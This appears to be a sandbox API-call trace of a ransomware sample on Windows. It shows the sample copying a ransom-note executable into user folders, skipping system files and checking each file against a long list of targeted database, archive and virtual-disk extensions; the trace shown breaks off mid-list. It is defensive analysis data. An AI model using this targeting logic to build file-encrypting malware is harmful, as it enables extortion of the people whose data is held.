	[0046.129] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599520
	[0046.129] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0046.129] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33905470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.129] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.129] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33905470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.129] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.129] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0046.129] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E"
	[0046.129] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599520 | out: hHeap=0x580000) returned 1
	[0046.129] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0046.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned 96
	[0046.129] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E"
	[0046.129] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.129] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.208] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.208] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x339c3b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x339c3b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.208] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.208] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.209] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.209] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x339c3b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x339c3b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.209] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.209] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.209] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.209] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.209] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".") returned 1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="..") returned 1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="windows") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="bootmgr") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="temp") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="pagefile.sys") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="boot") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ids.txt") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ntuser.dat") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="perflogs") returned -1
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="MSBuild") returned -1
	[0046.209] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0046.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*") returned 98
	[0046.209] lstrcpyW (in: lpString1=0x2d3e612, lpString2="01_Music_auto_rated_at_5_stars.wpl" | out: lpString1="01_Music_auto_rated_at_5_stars.wpl") returned="01_Music_auto_rated_at_5_stars.wpl"
	[0046.209] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0046.209] lstrlenW (lpString="Apollon865") returned 10
	[0046.209] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.209] lstrlenW (lpString=".dll") returned 4
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".dll") returned 1
	[0046.209] lstrlenW (lpString=".lnk") returned 4
	[0046.209] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.209] lstrlenW (lpString=".ini") returned 4
	[0046.210] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".ini") returned 1
	[0046.210] lstrlenW (lpString=".sys") returned 4
	[0046.210] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".sys") returned 1
	[0046.210] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0046.210] lstrlenW (lpString="bak") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0046.210] lstrlenW (lpString="ba_") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0046.210] lstrlenW (lpString="dbb") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0046.210] lstrlenW (lpString="vmdk") returned 4
	[0046.210] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0046.210] lstrlenW (lpString="rar") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0046.210] lstrlenW (lpString="zip") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0046.210] lstrlenW (lpString="tgz") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0046.210] lstrlenW (lpString="vbox") returned 4
	[0046.210] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0046.210] lstrlenW (lpString="vdi") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0046.210] lstrlenW (lpString="vhd") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0046.210] lstrlenW (lpString="vhdx") returned 4
	[0046.210] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0046.210] lstrlenW (lpString="avhd") returned 4
	[0046.210] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0046.210] lstrlenW (lpString="db") returned 2
	[0046.210] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0046.210] lstrlenW (lpString="db2") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0046.210] lstrlenW (lpString="db3") returned 3
	[0046.210] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0046.211] lstrlenW (lpString="dbf") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0046.211] lstrlenW (lpString="mdf") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0046.211] lstrlenW (lpString="mdb") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0046.211] lstrlenW (lpString="sql") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0046.211] lstrlenW (lpString="sqlite") returned 6
	[0046.211] lstrcmpiW (lpString1="rs.wpl", lpString2="sqlite") returned -1
	[0046.211] lstrlenW (lpString="sqlite3") returned 7
	[0046.211] lstrcmpiW (lpString1="ars.wpl", lpString2="sqlite3") returned -1
	[0046.211] lstrlenW (lpString="sqlitedb") returned 8
	[0046.211] lstrcmpiW (lpString1="tars.wpl", lpString2="sqlitedb") returned 1
	[0046.211] lstrlenW (lpString="xml") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0046.211] lstrlenW (lpString="$er") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0046.211] lstrlenW (lpString="4dd") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0046.211] lstrlenW (lpString="4dl") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0046.211] lstrlenW (lpString="^^^") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0046.211] lstrlenW (lpString="abs") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0046.211] lstrlenW (lpString="abx") returned 3
	[0046.211] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0046.211] lstrlenW (lpString="accdb") returned 5
	[0046.211] lstrcmpiW (lpString1="s.wpl", lpString2="accdb") returned 1
	[0046.211] lstrlenW (lpString="accdc") returned 5
	[0046.211] lstrcmpiW (lpString1="s.wpl", lpString2="accdc") returned 1
	[0046.211] lstrlenW (lpString="accde") returned 5
	[0046.211] lstrcmpiW (lpString1="s.wpl", lpString2="accde") returned 1
	[0046.212] lstrlenW (lpString="accdr") returned 5
	[0046.212] lstrcmpiW (lpString1="s.wpl", lpString2="accdr") returned 1
	[0046.212] lstrlenW (lpString="accdt") returned 5
	[0046.212] lstrcmpiW (lpString1="s.wpl", lpString2="accdt") returned 1
	[0046.212] lstrlenW (lpString="accdw") returned 5
	[0046.212] lstrcmpiW (lpString1="s.wpl", lpString2="accdw") returned 1
	[0046.212] lstrlenW (lpString="accft") returned 5
	[0046.212] lstrcmpiW (lpString1="s.wpl", lpString2="accft") returned 1
	[0046.212] lstrlenW (lpString="adb") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0046.212] lstrlenW (lpString="adb") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0046.212] lstrlenW (lpString="ade") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0046.212] lstrlenW (lpString="adf") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0046.212] lstrlenW (lpString="adn") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0046.212] lstrlenW (lpString="adp") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0046.212] lstrlenW (lpString="alf") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0046.212] lstrlenW (lpString="ask") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0046.212] lstrlenW (lpString="btr") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0046.212] lstrlenW (lpString="cat") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0046.212] lstrlenW (lpString="cdb") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0046.212] lstrlenW (lpString="ckp") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0046.212] lstrlenW (lpString="cma") returned 3
	[0046.212] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0046.213] lstrlenW (lpString="cpd") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0046.213] lstrlenW (lpString="dacpac") returned 6
	[0046.213] lstrcmpiW (lpString1="rs.wpl", lpString2="dacpac") returned 1
	[0046.213] lstrlenW (lpString="dad") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0046.213] lstrlenW (lpString="dadiagrams") returned 10
	[0046.213] lstrcmpiW (lpString1="_stars.wpl", lpString2="dadiagrams") returned -1
	[0046.213] lstrlenW (lpString="daschema") returned 8
	[0046.213] lstrcmpiW (lpString1="tars.wpl", lpString2="daschema") returned 1
	[0046.213] lstrlenW (lpString="db-journal") returned 10
	[0046.213] lstrcmpiW (lpString1="_stars.wpl", lpString2="db-journal") returned -1
	[0046.213] lstrlenW (lpString="db-shm") returned 6
	[0046.213] lstrcmpiW (lpString1="rs.wpl", lpString2="db-shm") returned 1
	[0046.213] lstrlenW (lpString="db-wal") returned 6
	[0046.213] lstrcmpiW (lpString1="rs.wpl", lpString2="db-wal") returned 1
	[0046.213] lstrlenW (lpString="dbc") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0046.213] lstrlenW (lpString="dbs") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0046.213] lstrlenW (lpString="dbt") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0046.213] lstrlenW (lpString="dbv") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0046.213] lstrlenW (lpString="dbx") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0046.213] lstrlenW (lpString="dcb") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0046.213] lstrlenW (lpString="dct") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0046.213] lstrlenW (lpString="dcx") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0046.213] lstrlenW (lpString="ddl") returned 3
	[0046.213] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0046.214] lstrlenW (lpString="dlis") returned 4
	[0046.214] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0046.214] lstrlenW (lpString="dp1") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0046.214] lstrlenW (lpString="dqy") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0046.214] lstrlenW (lpString="dsk") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0046.214] lstrlenW (lpString="dsn") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0046.214] lstrlenW (lpString="dtsx") returned 4
	[0046.214] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0046.214] lstrlenW (lpString="dxl") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0046.214] lstrlenW (lpString="eco") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0046.214] lstrlenW (lpString="ecx") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0046.214] lstrlenW (lpString="edb") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0046.214] lstrlenW (lpString="epim") returned 4
	[0046.214] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0046.214] lstrlenW (lpString="fcd") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0046.214] lstrlenW (lpString="fdb") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0046.214] lstrlenW (lpString="fic") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0046.214] lstrlenW (lpString="flexolibrary") returned 12
	[0046.214] lstrcmpiW (lpString1="_5_stars.wpl", lpString2="flexolibrary") returned -1
	[0046.214] lstrlenW (lpString="fm5") returned 3
	[0046.214] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0046.214] lstrlenW (lpString="fmp") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0046.215] lstrlenW (lpString="fmp12") returned 5
	[0046.215] lstrcmpiW (lpString1="s.wpl", lpString2="fmp12") returned 1
	[0046.215] lstrlenW (lpString="fmpsl") returned 5
	[0046.215] lstrcmpiW (lpString1="s.wpl", lpString2="fmpsl") returned 1
	[0046.215] lstrlenW (lpString="fol") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0046.215] lstrlenW (lpString="fp3") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0046.215] lstrlenW (lpString="fp4") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0046.215] lstrlenW (lpString="fp5") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0046.215] lstrlenW (lpString="fp7") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0046.215] lstrlenW (lpString="fpt") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0046.215] lstrlenW (lpString="frm") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0046.215] lstrlenW (lpString="gdb") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0046.215] lstrlenW (lpString="gdb") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0046.215] lstrlenW (lpString="grdb") returned 4
	[0046.215] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0046.215] lstrlenW (lpString="gwi") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0046.215] lstrlenW (lpString="hdb") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0046.215] lstrlenW (lpString="his") returned 3
	[0046.215] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0046.215] lstrlenW (lpString="ib") returned 2
	[0046.215] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0046.215] lstrlenW (lpString="idb") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0046.216] lstrlenW (lpString="ihx") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0046.216] lstrlenW (lpString="itdb") returned 4
	[0046.216] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0046.216] lstrlenW (lpString="itw") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0046.216] lstrlenW (lpString="jet") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0046.216] lstrlenW (lpString="jtx") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0046.216] lstrlenW (lpString="kdb") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0046.216] lstrlenW (lpString="kexi") returned 4
	[0046.216] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0046.216] lstrlenW (lpString="kexic") returned 5
	[0046.216] lstrcmpiW (lpString1="s.wpl", lpString2="kexic") returned 1
	[0046.216] lstrlenW (lpString="kexis") returned 5
	[0046.216] lstrcmpiW (lpString1="s.wpl", lpString2="kexis") returned 1
	[0046.216] lstrlenW (lpString="lgc") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0046.216] lstrlenW (lpString="lwx") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0046.216] lstrlenW (lpString="maf") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0046.216] lstrlenW (lpString="maq") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0046.216] lstrlenW (lpString="mar") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0046.216] lstrlenW (lpString="marshal") returned 7
	[0046.216] lstrcmpiW (lpString1="ars.wpl", lpString2="marshal") returned -1
	[0046.216] lstrlenW (lpString="mas") returned 3
	[0046.216] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0046.216] lstrlenW (lpString="mav") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0046.217] lstrlenW (lpString="maw") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0046.217] lstrlenW (lpString="mdbhtml") returned 7
	[0046.217] lstrcmpiW (lpString1="ars.wpl", lpString2="mdbhtml") returned -1
	[0046.217] lstrlenW (lpString="mdn") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0046.217] lstrlenW (lpString="mdt") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0046.217] lstrlenW (lpString="mfd") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0046.217] lstrlenW (lpString="mpd") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0046.217] lstrlenW (lpString="mrg") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0046.217] lstrlenW (lpString="mud") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0046.217] lstrlenW (lpString="mwb") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0046.217] lstrlenW (lpString="myd") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0046.217] lstrlenW (lpString="ndf") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0046.217] lstrlenW (lpString="nnt") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0046.217] lstrlenW (lpString="nrmlib") returned 6
	[0046.217] lstrcmpiW (lpString1="rs.wpl", lpString2="nrmlib") returned 1
	[0046.217] lstrlenW (lpString="ns2") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0046.217] lstrlenW (lpString="ns3") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0046.217] lstrlenW (lpString="ns4") returned 3
	[0046.217] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0046.217] lstrlenW (lpString="nsf") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0046.218] lstrlenW (lpString="nv") returned 2
	[0046.218] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0046.218] lstrlenW (lpString="nv2") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0046.218] lstrlenW (lpString="nwdb") returned 4
	[0046.218] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0046.218] lstrlenW (lpString="nyf") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0046.218] lstrlenW (lpString="odb") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0046.218] lstrlenW (lpString="odb") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0046.218] lstrlenW (lpString="oqy") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0046.218] lstrlenW (lpString="ora") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0046.218] lstrlenW (lpString="orx") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0046.218] lstrlenW (lpString="owc") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0046.218] lstrlenW (lpString="p96") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0046.218] lstrlenW (lpString="p97") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0046.218] lstrlenW (lpString="pan") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0046.218] lstrlenW (lpString="pdb") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0046.218] lstrlenW (lpString="pdm") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0046.218] lstrlenW (lpString="pnz") returned 3
	[0046.218] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0046.218] lstrlenW (lpString="qry") returned 3
